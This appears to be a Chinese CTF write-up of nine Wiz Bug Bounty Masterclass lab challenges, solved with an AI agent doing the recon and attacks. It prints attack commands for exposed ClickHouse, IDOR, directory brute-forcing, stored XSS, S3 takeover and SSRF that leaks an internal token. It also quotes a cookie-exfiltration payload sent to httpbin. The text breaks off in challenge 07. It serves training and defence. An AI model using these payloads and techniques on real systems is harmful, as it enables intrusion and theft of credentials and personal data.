WIZ BUG BOUNTY MASTERCLASS · GLM AGENT 协作复盘

9/9 全通复盘

一个下午，九道真实漏洞复现题，从暴露数据库到 0-Click 账户接管。凭据归人，自动化归 Agent——本报告记录全部攻击链、失败模式与方法论。

作者 ruanzhuo · 2026 年 10 月 24 日 · 官方证书在线可验

目录

项目总览 4

00 · 方法论总纲 4

项目设定 . . . 4

Agent 选型：不自建，用成品 . . . 5

人机分工协议（本项目最重要的设计） . . . 5

每题标准作业循环 . . . 5

失败模式清单（每条都对应一次真实翻车） . . . 6

数据 . . . 6

下一步 . . . 6

01 · 暴露的数据库 7

题面 . . . 7

我的判断路径 . . . 7

过程 . . . 7

关键命令（脱敏后结构可复用） . . . 8

意外收获（超出 flag 本身的发现） . . . 9

失败与弯路 . . . 9

防御视角（如果我是蓝队） . . . 9

证据 . . . 9

02 · 航空数据泄露 9

题面 . . . 9

我的判断路径 . . . 10

过程 . . . 10

关键命令（脱敏后结构可复用） . . . 11

失败与弯路（本题是全项目最重要的一课） . . . 11

防御视角（如果我是蓝队） . . . 12

证据 . . . 12

03 · 目录列表暴露 12

题面 . . . 12

我的判断路径 . . . 12
过程 . . . 13
关键命令 . . . 13
失败与弯路 . . . 14
防御视角（如果我是蓝队） . . . 14
证据 . . . 14

04 · 工单存储型 XSS 14

题面 . . . 14
我的判断路径 . . . 14
过程 . . . 15
关键命令（脱敏后结构可复用） . . . 16
失败与弯路 . . . 16
防御视角（如果我是蓝队） . . . 16
证据 . . . 16

05 · 域名接管 17

题面 . . . 17
我的判断路径 . . . 17
过程（一步到位） . . . 17
方法论备注 . . . 18
失败与弯路 . . . 18
防御视角（如果我是蓝队） . . . 18
证据 . . . 18

06 · SSRF 18

题面 . . . 18
我的判断路径 . . . 19
过程 . . . 19
关键命令（脱敏后结构可复用） . . . 20
一个反直觉观察 . . . 20
失败与弯路 . . . 20
防御视角（如果我是蓝队） . . . 20

证据 20
07 · GitHub OSINT 21
题面 21
我的判断路径 21
过程 21
人机协作复盘（本题的核心价值） 22
防御视角（如果我是蓝队） 23
证据 23
08 · 堆转储暴露 23
题面 23
我的判断路径 23
过程 24
失败与弯路（全项目最深刻的一课，值得单独一节） 25
关键命令（脱敏后结构可复用） 25
防御视角（如果我是蓝队） 25
证据 25
09 · 0-Click ATO 26
题面 26
我的判断路径 26
过程 26
漏洞结构（复盘文章的核心图景） 27
关键命令（脱敏后结构可复用） 28
失败与弯路 28
防御视角（如果我是蓝队） 28
证据 28
附录 · 脱敏规范与交付物 28

项目总览

2026 年 10 月 24 日，我用一个下午（净耗时约 4.5 小时）完成了 Wiz Bug Bounty Masterclass 全部 9 道实操挑战——每道题基于一个真实赏金漏洞，合计对应赏金 $93,300+——并获得了官方认证证书。整个项目以人机协作方式完成：GLM 驱动的 Agent 承担侦察、攻击与取证，我持有全部凭据并做每一个决策。本报告是全过程的第一人称复盘，所有敏感内容已按脱敏规范处理（flag / token / 域名 / IP 以 <REDACTED_*> 呈现，请求结构与命令全部保留）。

9 / 9	≈4.5 h	$93,300+	80%
通关	净耗时	对应真实赏金	技术环节由 Agent 执行

#	挑战	漏洞类型	净耗时
00	方法论总纲	人机协作 / 流程	—
01	暴露的数据库	暴露服务 / 无认证	~15 min
02	航空数据泄露	证书泄露 / IDOR	~35 min
03	目录列表暴露	配置错误	~10 min
04	工单存储型 XSS	注入 / 转义不一致	~15 min
05	域名接管	悬挂 DNS / S3	~30 sec
06	SSRF	SSRF / 凭据泄露	~10 min
07	GitHub OSINT	凭据泄露 / git 历史	~40 min
08	堆转储暴露	Actuator / 取证	~50 min
09	0-Click ATO	会话混淆	~15 min

证书验证链接：https://www.wiz.io/bug-bounty-masterclass/certificate/43a82202-6aaa-4a0b-b43a-118f380d8af1

00 · 方法论总纲

本文是整个项目的总纲：Agent 怎么选、人机怎么分工、每题的作业循环长什么样、以及全部失败模式如何被规则化。各题细节见 01 – 09 各篇。

项目设定

☐ 目标：一个下午的时间盒内，用 GLM 驱动的 Agent 通关 Wiz Bug Bounty Masterclass 全部 9 道实操挑战并留下可验证的全过程记录

☐ 结果：9/9，净耗时约 4.5 小时（含约 1 小时的注册链路排障）

Agent 选型：不自建，用成品

我没有花时间搭 Agent 框架，直接用了一个内置 GLM 的桌面 Agent（ZCode），理由按优先级：

1. 它消耗的正是我手头要花掉的模型额度，等于零边际成本
2. 自带完整工具面：shell、浏览器自动化、文件读写、联网搜索——CTF 需要的全都有
3. 两天时间盒里，装环境调试的每一分钟都是从做题时间里偷的

事后验证这个取舍是对的：整个项目没有写过一行 Agent 框架代码，产出全部来自"工具 + 方法论"。

人机分工协议（本项目最重要的设计）

一条原则：凭据归人，自动化归 Agent。

归人	归 Agent
注册、登录、一切持凭据的操作	侦察（DNS/证书/CT 日志/指纹）
需要登录态的查询（如 GitHub 代码搜索）	编码类攻击（SSRF/注入/会话伪造）
flag 提交与成果确认	字典爆破、批量探测
攻击决策与止损判断	取证分析、记录归档

Agent 从不索要我的密码；需要登录的操作一律交还给我。第 7 题是这套协议的完整演绎——Agent 先穷举全部匿名信源证明"必须动用人的登录态"，我再出手搜索，命中后交还 Agent 翻 git 历史拿凭据。人出现在证据链要求的环节，而不是刷存在感的环节。

每题标准作业循环

1. 读题提题眼：把题面翻译成一个技术假设（"exposed database → ClickHouse 默认端口？"）
2. 被动侦察先行：DNS、证书 SAN、CT 日志、HTTP 指纹——成本远低于主动探测
3. 低成本主动验证：少量路径/参数确认假设，再上字典或批量
4. 假设-对照：每个注入点配对照组（第 6 题的环回/带外/穿越三连测）
5. 就地归档：攻击链、关键命令、失败弯路三段式记录 + 截图证据
6. 单题止损线：卡住 30 分钟换路径或换题，事后回来复盘

失败模式清单（每条都对应一次真实翻车）

#	失败模式	规则化后的对策
1	浏览器自动翻译把 "Fetch failed" 机翻成无法检索的中文	排查网页报错前先关自动翻译
2	从截图认读域名多认一个字母，第一轮 DNS 诊断全偏	域名/URL 类证据必须来自请求记录或源码，不靠截图认字
3	40+ 路径字典先于被动侦察，20 分钟颗粒无收	侦察顺序硬编码：被动 → 主动 → 字典（第 2 题立规，第 3 题兑现）
4	注入测试只看列表页，漏掉详情页的零转义渲染	注入测试覆盖所有渲染该数据的视图
5	30MB 堆转储被静默截断成 1.5MB，在残缺数据上得出"无 flag"的错误倾向	二进制证据分析前先校验完整性（Content-Length/哈希对账）
6	shell 无法传递空字节参数，二进制搜索模式被截断，报出数千行假命中	单一工具的正结论必须换工具交叉验证

这六条的共性值得写明：Agent 的失败大多不是"不会攻击"，而是"证据质量失真"——翻译、OCR、截断、工具特性都在污染输入。对策不是换更聪明的模型，是把证据校验做成流程。

数据

指标	数值
通关数	9 / 9
净耗时	≈ 4.5 小时（单题 30 秒 ~ 50 分钟）
对应真实赏金合计	$93,300+
Agent 参与环节	侦察/攻击/取证/归档（约全部技术工作的 80%）
人工必需环节	注册与登录、GitHub 代码搜索、flag 提交、全部决策

下一步

- ☐ 把本方法论迁移到真实众测平台（相同作业循环，增加授权与范围检查环节）
- ☐ 值得自动化的两个环节：证据完整性校验、多工具交叉验证（见失败模式 5/6）
- ☐ 复盘文章与证书：仓库 README

01 · 暴露的数据库

系列第 1 题 · 对应真实事件：2025 年 1 月某 AI 公司生产数据库无认证暴露（题面原文称 "Based on a real critical finding from January 2025 that exposed sensitive AI company data to the internet"） · 我的净耗时：约 15 分钟

题面

You've been given a target URL. Rumor has it there's an exposed database somewhere on this server - left wide open without authentication.
Your mission: scan the target, find the database, and extract the flag.

靶场地址：http://<REDACTED_DOMAIN>/

我的判断路径

拿到题面后我先问自己两个问题：

1. "exposed database" 最可能是什么形态？ 题面点名复刻 2025 年 1 月的真实事件，

而那次事件的主角是 ClickHouse——默认端口 8123（HTTP 接口）和 9000（原生协议）。所以我的第一假设就是：这两 个端口会有东西。

1. 先扫全端口还是先扫常见端口？ 我选择 20 个常见服务端口的并行 TCP 探测而不是

全端口扫描，因为课程靶场大概率沿用默认配置，3.5 秒能拿到的答案不值得花 10 分钟。

过程

1. 侦察：域名、Web 指纹、证书

```
nslookup <REDACTED_DOMAIN>
→     <REDACTED_IP>          nginx/1.24.0 Ubuntu

curl http://<REDACTED_DOMAIN>/        → 301    https
openssl s_client ...               → CN          <REDACTED_DOMAIN>
```

证书 CN 与访问域名不符这个细节给了我额外情报：这台服务器上托管着多个题目环境，443 上的默认证书属于另一道题。后来这个判断被证实，还提前给了第 2 题的线索。

2. 端口扫描：命中假设

用 PowerShell 的 TcpClient.ConnectAsync 做 20 端口并行连接探测（约 3.5 秒）：

```
OPEN: 80
OPEN: 443
OPEN: 8080
OPEN: 8123   ← ClickHouse HTTP
OPEN: 9000   ← ClickHouse
```

8123 + 9000 同时开放，与我开局的假设完全吻合。8080 也开着（后来确认属于另一道题）。

3. 验证无认证访问

```
curl http://<REDACTED_DOMAIN>:8123/
→ Ok.
```

根路径返回 Ok. 是 ClickHouse HTTP 接口的标准应答——没有任何认证质询，意味着可以直接发查询。

4. 数据定位与提取

```
SHOW DATABASES      → INFORMATION_SCHEMA / deepleak / default / information_schema / system
SHOW TABLES FROM deepleak → log_stream / metric_stream / rrweb / schema_migrations
```

行数：log_stream 355,003 行、metric_stream 129,092 行、rrweb 96,819 行。

我先抽了每张表前 5 行看形态——全是重复样本，肉眼翻页没有意义。所以我改为全表特征搜索：对每张表的文本字段做 ILIKE '%flag%' 和 ILIKE '%{%}%' 双模式匹配，命中 log_stream.string_values：

```
Security audit log: {<REDACTED>}
```

flag 到手，提交即过。

关键命令（脱敏后结构可复用）

```
TARGET="http://<REDACTED_DOMAIN>:8123"

curl "$TARGET/"                                    #      → Ok.
curl "$TARGET/" --data-binary "SHOW DATABASES"     #
curl "$TARGET/" --data-binary "SHOW TABLES FROM deepleak"
curl "$TARGET/" --data-binary \
  "SELECT DISTINCT string_values FROM deepleak.log_stream \
   WHERE string_values ILIKE '%flag%' OR string_values ILIKE '%{%}%'"
```

```
#        Windows     nmap
$ports = 80,443,3000,3306,5432,6379,8000,8080,8123,9000,9200,11211,27017,9042,1433,5000,8888,4443,8443,4000
foreach ($p in $ports) { $c = New-Object Net.Sockets.TcpClient;
  $tasks += @{Port=$p; Client=$c; Task=$c.ConnectAsync($host,$p)} }
Start-Sleep -Milliseconds 3500
#    Connected
```

意外收获（超出 flag 本身的发现）

翻 rrweb 表时发现它存的是管理后台的会话录像（rrweb 格式的前端录屏事件流），其中 input 类型事件回放出了管理员在登录框里输入的明文密码（值已脱敏）。
这正对应真实事件中最致命的部分：会话录像泄露比日志泄露敏感得多——
它回放的是人的行为，包括输错的密码、粘贴的 token、访问过的页面。

失败与弯路

本题一次通过，无返工。但有一个流程细节值得记：第一轮 LIMIT 5 预览全是重复行时，我差点准备翻页浏览，及时改成全表特征搜索才在几秒内命中——
数据量大时，先定搜索策略再动手，不要用肉眼对抗十万行。

防御视角（如果我是蓝队）

1. 数据库服务（ClickHouse/Redis/Mongo…）永不直接暴露公网，收进内网 + 防火墙白名单
2. 必须启用认证——ClickHouse 默认配置的 default 用户无密码是经典陷阱
3. rrweb 这类会话录像属于最高敏数据，加密存储 + 严格访问控制 + 短保留期
4. 监控出站视角：任何数据库端口出现在公网扫描结果里都应触发告警

证据

☐ evidence/01-1-flag-submitted.png —— 提交成功页面

【待我确认：请检查截图中 flag 输入框是否仍显示 flag 原文；若是，请重截一张仅含成功状态的图替换，或告诉我位置，我来裁剪】

02 · 航空数据泄露

系列第 2 题 · 对应真实事件：暴露的 API 导致数千乘客个人信息、订票与行程泄露（原赏金 $3,000）
· 我的净耗时：约 35 分钟（其中约 20 分钟花在一条后来被证明错误的路上）

题面

You've been given access to a major airline's booking system. Word on the street is that the developers left something exposed that reveals more than it should.
Your mission: explore the target, find what the developers forgot to hide.

靶场地址：https://<REDACTED_DOMAIN>/

我的判断路径

"developers left something exposed"（开发者忘了藏某样东西）是个宽泛提示，可能是 .git、.env、备份文件、API 文档任何一种。我先按惯性走了主动探测的路，碰壁后才切换到被动侦察——这个顺序问题成了本题最大的教训，也是整个项目的方法论转折点。

过程

1. 站点侦察：一个纯静态的"壳"

首页 6.9KB，"航空公司订票站"，但细看不对劲：没有任何 JavaScript，搜索表单没有提交逻辑，导航全是页内锚点。响应头暴露 X-Powered-By: Express。

我由此判断：真正有攻击面的东西不在这个页面里，在别处。

2. 弯路：字典爆破先行（~20 分钟，全部落空）

我拿常见敏感路径字典跑了 GET + POST 双方法共 40+ 个路径：.git/、.env、swagger、api/、admin、login……全部 404。OPTIONS / 返回 Allow: GET, HEAD，连方法层面都没留口子。

唯一的非 404 是 /health：

```
{"status":"healthy","service":"nagli-airlines-api"}
```

这确认了背后确实有一个 API 服务在跑——但它不在我猜的任何路径上。

3. 转折：被动侦察一击致命

我停掉字典，改为问"这个域名本身对外暴露了什么信息"。第一件事就是看 TLS 证书的 SAN（Subject Alternative Name）字段：

```
openssl s_client -connect <REDACTED_DOMAIN>:443 -servername <REDACTED_DOMAIN> </dev/null \
  | openssl x509 -noout -text | grep -A2 "Subject Alternative Name"
```

```
DNS:<REDACTED_DOMAIN>, DNS:api.<REDACTED_DOMAIN>
```

证书 SAN 里躺着一个从未在任何页面出现过的内部 API 子域名。这就是题面说的"忘了藏的东西"——把内部域名签进公开证书，等于免费昭告天下。

顺手又查了 CT 日志（crt.sh，查询 %.<REDACTED_DOMAIN>），把全部子域名枚举了一遍——这一步的收益远超本题：后面 7 道题的靶场域名全部来自这张"战场地图"。

4. API 子域：Swagger 文档暴露 + 无认证 IDOR

api.<REDACTED_DOMAIN>/docs 返回 Swagger UI，OpenAPI 规范内嵌在 /docs/swagger-ui-init.js 里，共 10 个接口，全部围绕 memberId 取乘客数据：

```
/api/getBookings       /api/getContactInfo    /api/getFlightHistory
/api/getMembership     /api/getMemberships    /api/getPaymentMethods
/api/searchListMember  /api/searchMemberInfo  /api/updateMemberInfo
/api/updateMergeMemberInfo
```

我逐个无认证调用，发现防御只做了一半：

接口	无认证结果
getMemberships	200，直接吐出 2 名乘客完整档案：姓名、邮箱、电话、住址、生日、信用卡后四位
getMembership?memberId=…	200，返回单人口径完整档案
getFlightHistory / getPaymentMethods / searchMemberInfo	200，行程与支付信息裸奔
getBookings / getContactInfo	401，有真正的 token 校验

用 getMemberships 泄露的真实 memberId（72041008520）代入 getMembership，返回的完整 JSON 中就带着 "flag": "<REDACTED>" 字段。

（我还顺手试了那两个 401 接口的绕过：Bearer null、Bearer <memberId>、伪造 Basic 头，
全部失败——说明不是统一的疏忽，而是部分接口做了校验、部分没做。）

5. 最后一个小坑

前两轮我都只看了响应的前几百字符，flag 藏在 JSON 后半段，差点漏掉。
改为全量落盘到文件再 grep -ri 特征，立刻命中。

关键命令（脱敏后结构可复用）

```
#         SAN + CT
openssl s_client -connect <REDACTED_DOMAIN>:443 -servername <REDACTED_DOMAIN> </dev/null \
  | openssl x509 -noout -text | grep -A2 "Subject Alternative Name"

# API
curl https://api.<REDACTED_DOMAIN>/docs/swagger-ui-init.js          #    OpenAPI
curl https://api.<REDACTED_DOMAIN>/api/getMemberships               #     →
curl "https://api.<REDACTED_DOMAIN>/api/getMembership?memberId=72041008520" \
  -o member.json && grep -o '"flag":"[^"]*"' member.json            #
```

失败与弯路（本题是全项目最重要的一课）

☐ 40+ 路径字典 + 双方法探测 ≈ 20 分钟颗粒无收；而证书 SAN + CT 日志 5 分钟

拿到了本题答案外加后续 7 题的靶场地图。成本收益完全倒挂。

☐ 从此我把作业顺序规则化：被动侦察（DNS/证书/CT/指纹）永远先于字典爆破。

这个规则在第 3 题立刻兑现（10 分钟速通）。

☐ 只看响应开头几百字符的习惯差点让我漏掉 flag——证据要全量落盘再搜索。

防御视角（如果我是蓝队）

1. 内部域名/服务名永远不进公开证书 SAN；用泛域名证书或按需签发
2. API 文档（Swagger/OpenAPI）生产环境必须下线或鉴权
3. 鉴权要在网关层统一做，而不是每个接口各自为政——本题"一半裸奔一半有锁"就是反面教材
4. 对象级授权（BOLA/IDOR）：memberId 属于可枚举的顺序 ID，应改用不可预测标识 + 归属校验

证据

☐ evidence/02-1-flag-submitted.png —— 提交成功页面

03 · 目录列表暴露

系列第 3 题 · 对应真实事件：某大型域名注册商暴露客户数据与内部商业文档（原赏金 $5,000）
· 我的净耗时：约 10 分钟（第 2 题方法论修正后的第一次兑现）

题面

> Sometimes the simplest things get overlooked — a forgotten folder, a directory left accessible, files that were never meant to see the light of day.
> Your mission: dig around, find what's hiding in plain sight.

靶场地址：https://<REDACTED_DOMAIN>/（一个域名注册商的站点）

我的判断路径

题面几乎明示了"可浏览的目录"（directory listing）。这类题的正确姿势不是一个一个路径去点，而是拿一份像样的目录字典并行爆破，只盯非 404 的结果。
有了第 2 题的教训，我先花两分钟做了低成本首页侦察确认没有更快的入口，
然后直接上字典。

过程

1. 首页侦察：一个没有出口的页面

首页 3.5KB，是个身份验证服务的错误页（Okta 风格"User is not assigned to this application"），没有任何链接、任何 JavaScript——没有比这更强的"去扫目录"信号了。

2. 并行目录爆破：83 个路径，一次命中

用 shell 后台任务并发探测 83 个常见目录名（admin、backup、uploads、docs、internal、certificates、whois……），每个请求带 6 秒超时，全程十几秒：

```
for p in admin api backup uploads internal certificates customers docs …; do
  (code=$(curl -sk -o /dev/null -w "%{http_code}" \
     "https://<REDACTED_DOMAIN>/$p/")
   echo "$code /$p/" >> scan.txt) &
done; wait
grep -v "^404" scan.txt    #     404
```

结果只有一个非 404：

```
200 /uploads/
```

3. 目录列表开着：nginx autoindex

/uploads/ 返回完整的目录列表（Index of /uploads/），内容两类：

- ☐ 31 个 jira-stats-*.txt（内部工单统计导出）
- ☐ shark-db.zip（1,860 字节）——数据库备份文件

4. 下载、解压、搜索

```
curl -o db.zip https://<REDACTED_DOMAIN>/uploads/shark-db.zip
unzip db.zip          # → shark-db.sql
grep -ri "flag" .     #
```

shark-db.sql 是生产库备份：employees 表结构包含姓名、邮箱、电话、部门、工资、社保号（SSN）、家庭住址字段（数据值已脱敏——这正是题面所说的"sensitive customer data"）。flag 藏在一条审计记录里：

```
(999, 'SECURITY_AUDIT', 'audit@…', …, 'SECURITY_LOG: {<REDACTED>}', …)
```

关键命令

见上文过程内嵌命令——本题的技术含量不在单条命令，在于**用并行把 83 次探测压缩到十几秒**，以及只对非 404 结果做二次分析的习惯。

失败与弯路

无返工。第 2 题教训（先低成本侦察再上字典）在本题直接兑现：
先确认首页无路可走（2 分钟），字典一轮命中（十几秒），全程 10 分钟。

对比数据值得写进任何方法论文档：

题	主动字典先行	被动侦察先行
第 2 题	40+ 路径 × 双方法 ≈ 20 分钟无收获	证书 SAN 5 分钟命中
第 3 题	——	83 路径一轮命中，10 分钟通关

防御视角（如果我是蓝队）

1. Web 根目录永远关闭 autoindex（nginx 默认开，配置里必须显式 autoindex off）
2. 备份文件（*.zip、*.sql、*.bak）不允许出现在 Web 可访问路径，

传输走带鉴权的渠道

1. 部署流水线加一道"Web 根目录文件白名单"检查，非白名单文件不发布
2. 本质上这是配置错误而非代码漏洞——安全基线检查（CIS Benchmark）能直接拦住这类问题

证据

☐ evidence/03-1-flag-submitted.png —— 提交成功页面

04 · 工单存储型 XSS

系列第 4 题 · 对应真实事件：物流公司客服工单系统存储型 XSS 导致管理面板失守（原赏金 $18,000）
· 我的净耗时：约 15 分钟

题面

The company has a support system where customers can submit inquiries.
Somewhere on the backend, staff members review these submissions.
Your mission: gain access to the admin panel and capture the flag.

靶场地址：https://<REDACTED_DOMAIN>/

我的判断路径

"客户提交 → 员工后台查看"是最经典的存储型 XSS 场景。我的计划是：
**给每个字段分别注入带唯一标记的 HTML 探针，然后在每一个会渲染这份数据的视图里

检查转义情况**。关键词是"每一个视图"——这题差点栽在只看了一个视图上。

过程

1. 站点结构：一个工单表单 + 一个后台

首页只有一个工单提交表单（title / description / category 三个字段，POST 到 /api/submit-issue），外加一个 /admin 链接。

/admin 是员工视角的工单列表页。列表上还能看到其他玩家留下的注入尝试——比如一条 fetch('https://httpbin.org/get?c='+document.cookie)，但它是被转义后的纯文本（<script>…），说明列表页对 category 做了 HTML 实体编码。

2. 分字段转义探测

我提交了一个带唯一标记的工单，三个字段各注入不同的 HTML 结构：

```
{"title":     "MARK-title<b>bold</b>",
 "description": "MARK-desc<img src=x onerror=alert(1)>",
 "category":  "MARK-cat\"onmouseover=alert(2)"}
```

然后在 /admin 列表页检查渲染结果：

字段	列表页的表现
category	显示原文，引号被编码为 " —— 已转义
title	根本不显示原文，只渲染成 "Issue #576"
description	完全不渲染

到这里，列表页看起来"没问题"。如果我此时收工，就会得出"全站转义、无漏洞"的错误结论。

3. 找到第二个渲染视图：工单详情页

列表页的每条工单其实链到 /admin/issue/{id} 详情页——员工逐条处理工单的地方，也是 XSS 真正的触发点。详情页的渲染结果完全不同：

```
<div class="issue-title">MARK-title<b>bold</b></div>          ←
<div class="issue-description">MARK-desc<img src=x onerror=alert(1)></div>  ←
<span class="category-badge">MARK-cat&amp;#34;…</span>            ←
```

title 和 description 在详情页零转义——<b> 生效、<img onerror> 成为可执行的注入向量。页面甚至自带标注："This is a demonstration of a Blind XSS vulnerability. The issue content is displayed without sanitization."

flag 就在详情页上（<REDACTED>）。

4. 真实攻击闭环应该是什么样

本题环境直接把 flag 展示在详情页，但真实场景的完整闭环是：

1. 攻击者提交含 <script> 的工单
2. 员工（或自动化机器人）打开详情页处理工单
3. 恶意 JS 在员工已认证的会话里执行
4. 窃取 document.cookie，或更优雅的方式——直接以员工身份调用同源 API：

让 payload 把 document.cookie 作为新工单提交回来，攻击者在列表页就能读到，全程不需要外部回连服务器

第 2 题里那个试图把 cookie 发往 httpbin 的旧 payload，就是在走第 4 步的外部回连变体。

关键命令（脱敏后结构可复用）

```
#
curl -X POST https://<REDACTED_DOMAIN>/api/submit-issue \
  -H 'Content-Type: application/json' \
  -d '{"title":"MARK<b>t</b>","description":"MARK<img src=x onerror=1>","category":"Bug"}'

#               +
curl https://<REDACTED_DOMAIN>/admin | grep -A2 -B2 MARK
curl https://<REDACTED_DOMAIN>/admin/issue/{id} | grep -A2 -B2 MARK
```

失败与弯路

本题唯一的险情是差点在列表页得出"无漏洞"结论——列表页转义得很好，但同一份数据在详情页完全裸奔。教训：注入测试必须覆盖所有渲染该数据的视图；"某个视图安全"不构成"数据安全"的证据。

防御视角（如果我是蓝队）

1. 转义必须发生在渲染层且逐视图落实——最稳的方案是统一走模板引擎的

自动转义（如 React 默认转义 / Jinja2 autoescape），禁止任何 innerHTML 直出

1. 富文本如确需渲染，服务端白名单净化（DOMPurify 类方案），而非黑名单过滤
2. 员工后台会话加 CSP（Content-Security-Policy）做纵深防御，即使 XSS 触发也限制外发
3. 工单系统属"外部输入 → 内部查看"的高危通道，值得上输入侧告警（检测 script 特征）

证据

☐ evidence/04-1-flag-submitted.png —— 提交成功页面

05 · 域名接管

系列第 5 题 · 对应真实事件：过期 DNS 记录导致金融科技公司域名被完全接管（原赏金 $2,000）
· 我的净耗时：约 30 秒（全项目最快）

题面

Their DNS records are pointing somewhere - but is anyone still home?
When companies migrate services or shut down resources, sometimes the DNS
sticks around longer than it should.
Your mission: investigate the DNS, find the unclaimed resource, and claim your flag.

靶场地址：https://<REDACTED_DOMAIN>/

我的判断路径

子域名/域名接管（subdomain takeover）的侦察有三步定式，我按顺序走：

1. 查 DNS 记录指向（A / CNAME / NS）
2. 访问目标，识别服务商错误签名——不同平台的"资源不存在"错误各有特征

（S3 的 NoSuchBucket、Heroku 的 "No such app"、GitHub Pages 的 404 页……）

1. 对照社区维护的接管可行性清单（如 can-i-take-over-xyz 项目）确认可利用性

DNS 类题目侦察成本极低，所以我在排期上把它提到了技术型题目前面。

过程（一步到位）

DNS 三查 + 一次 HTTP 探测

```
nslookup <REDACTED_DOMAIN>            → A      <REDACTED_IP>   CNAME
nslookup -type=NS <  >              → Cloudflare    DNS
curl https://<REDACTED_DOMAIN>/       → HTTP 404    AWS S3    XML
```

那个 404 响应体就是全部答案：

```
<!-- Flag: <REDACTED> -->
<Error>
  <Code>NoSuchBucket</Code>
  <Message>The specified bucket does not exist</Message>
  <BucketName><REDACTED></BucketName>
  ...
</Error>
```

DNS 仍然指向一个已经删除的 S3 存储桶。 真实攻击里，下一步是去 AWS 注册同名桶——此后该公司域名下所有流量都会加载攻击者控制的内容。这就是题面"claim your flag"

的双关：认领资源，即接管域名。

方法论备注

- ☐ NoSuchBucket 是 S3 接管的标志性错误签名，看一眼就能定性，不需要进一步验证
- ☐ 接管类漏洞是典型的低成本高影响：发现只要几分钟，报告写作清晰即可拿赏金；

  真实世界里云厂商（AWS/Azure/GCP）和各类 SaaS 都有对应变体

失败与弯路

无。按"侦察三步定式"走完全程没有分叉——这也是把方法论规则化的价值：第 2 题交过学费后，简单题不再有思考成本。

防御视角（如果我是蓝队）

1. 服务下线的正确顺序是"先删 DNS，再删资源"——反过来就制造悬挂记录
2. 定期审计 DNS 记录：逐条确认指向的资源仍然存在且归属自己

（Cloudflare 等厂商已提供悬挂记录自动检测）

1. 对曾指向云存储/CDN 的记录建立台账，云资源销毁流程必须联动 DNS 清理
2. 监控侧：对自家域名配置错误页监控，NoSuchBucket 这类响应出现即告警

证据

- ☐ evidence/05-1-flag-submitted.png —— 提交成功页面

06 · SSRF

系列第 6 题 · 对应真实事件：SSRF 触达内部云基础设施与敏感凭据（原赏金 $27,500，九题中最高） · 我的净耗时：约 10 分钟

题面

You've found a gaming company's content service that fetches resources from URLs you provide. But what happens when you point it somewhere the developers never intended - like the server's own internal network?
Your mission: trick the server into making requests it shouldn't.

靶场地址：https://<REDACTED_DOMAIN>/（一个流媒体风格的"内容服务"）

我的判断路径

"服务端会抓取用户提供的 URL"是 SSRF 的题面标配。我的检测清单按成本排序：

1. 找到那个吃 URL 的参数（页面 JS 里的 API 调用通常写得很明白）
2. 先用正常值确认接口行为
3. 依次注入：完整 URL（环回地址）→ 外部回连地址（带外验证）→ 路径穿越（顺手测）
4. 观察服务端凭据是否随请求外泄——SSRF 的真正杀伤力在内部凭据，不在请求本身

过程

1. 定位参数

首页 JS 只有一个 API 调用：

```
/api/content/v2/module/{moduleId}/version/{version}/staged-files/{fileName}
```

先用正常值确认接口活着（返回 mock 文件内容的 JSON），然后进入注入。

2. fileName 吃下完整 URL：环回地址直通内网

我把 fileName 换成一个完整 URL——服务器没有做任何协议或目标校验，直接替我请求了它的环回地址，并且把它发出的请求头原样回显：

```
GET /api/content/v2/module/1/version/1/staged-files/http://127.0.0.1/

→ {"headers_sent": {
     "Authorization": "Bearer <REDACTED_TOKEN>",
     "User-Agent": "InternalAPI/1.0.0"},
   "message": "Internal service response",
   "service": "localhost", "status": "success"}
```

那个 Bearer token 是服务端访问内部 API 用的凭据。解码 JWT payload（结构保留，值脱敏）：

```
{"sub": "content-service",
 "iss": "internal-auth",
 "iat": 1705312176, "exp": 1705398576,
 "scope": "internal:read internal:write",
 "service_id": "cs-001",
 "flag": "<REDACTED>"}
```

一个 scope 覆盖内部读写的服务身份凭据，外加 flag，一并到手。

3. 带外验证与对照实验

我又做了两组对照，把漏洞边界摸清楚：

☐ 带外验证：让服务器去请求课程提供的回连检测域名（oast 类服务），

返回 502 "returned unparseable JSON response"——错误信息证明服务器确实发出了出网请求，
盲 SSRF 场景下这是标准的存在性证明

☐ 路径穿越：../etc/passwd 被拦截（404），URL 编码变体会被反射回响应但不生效

——开发者防住了路径穿越，却没防 URL 注入，典型的"补了 A 漏了 B"

关键命令（脱敏后结构可复用）

```
BASE="https://<REDACTED_DOMAIN>/api/content/v2/module/1/version/1/staged-files"

curl "$BASE/test.json"                 #
curl "$BASE/http://127.0.0.1/"         #    SSRF →
curl "$BASE/http://<      >/probe"  #
curl "$BASE/../etc/passwd"             #
```

一个反直觉观察

这是九题中赏金最高的一道（$27,500），却只花了 10 分钟。**赏金标定的是危害深度，不是发现难度**——SSRF 一旦能触达云元数据（169.254.169.254）拿临时凭据，
攻击者就能横向移动进整个云账号，所以厂商愿意为它付最高价。
找洞快慢和值多少钱，是两回事。

失败与弯路

无返工。唯一值得记的是顺序选择：先测环回地址而不是先测外网回连——
因为"环回 + 凭据回显"是最短路径直接拿结果，带外验证放在确认后补做。

防御视角（如果我是蓝队）

1. URL 类参数做协议 + 目标白名单校验：拒绝环回、内网段、链路本地地址

   （含 169.254.169.254 云元数据）、以及解析后落在这些范围的域名（防 DNS rebinding）

1. 绝不回显服务端请求头/响应细节——本题的凭据泄露一半功劳在"回显"这个设计错误
2. 出网请求走独立的代理层，剥离内部凭据，内部调用与外部抓取使用不同身份
3. 内部服务凭据最小化：只读就别给 internal:write，并缩短有效期

证据

☐ evidence/06-1-flag-submitted.png —— 提交成功页面

07 · GitHub OSINT

系列第 7 题 · 对应真实事件：员工公开仓库泄露凭据导致 CRM 内部系统未授权访问（原赏金 $12,000） · 我的净耗时：约 40 分钟 · 全系列唯一一道必须由人完成关键一步的题

题面

```
Developers often reference their work domains in code, configs, and scripts -
and sometimes those files end up in personal GitHub repositories with more
than just the domain name.
Search for "bugbountymasterclass.com" on GitHub and see what you can find.
Your mission: find what an employee accidentally committed.
```

靶场地址：https://<REDACTED_DOMAIN>/（一个仿 GitHub Enterprise 站点，登录页附带 "Validate GitHub Token" 验证入口）

我的判断路径

题面直接给了 OSINT 方向：在 GitHub 公开代码里搜课程域名。我很快撞上了本题真正的考点：GitHub 的代码搜索（唯一能搜到文件内容的入口）必须登录才能使用。
这决定了本题的作业形态——我和 Agent 必须分工。

过程

1. Agent 侧：匿名信源全线碰壁（~15 分钟）

我先把所有不需要凭据的途径走了一遍，全部落空：

途径	结果
GitHub API 仓库搜索 / Issue 搜索 / 提交搜索	total_count: 0（这三类搜索不索引文件内容）
grep.app（公开代码搜索引擎）	触发人机验证，无法访问
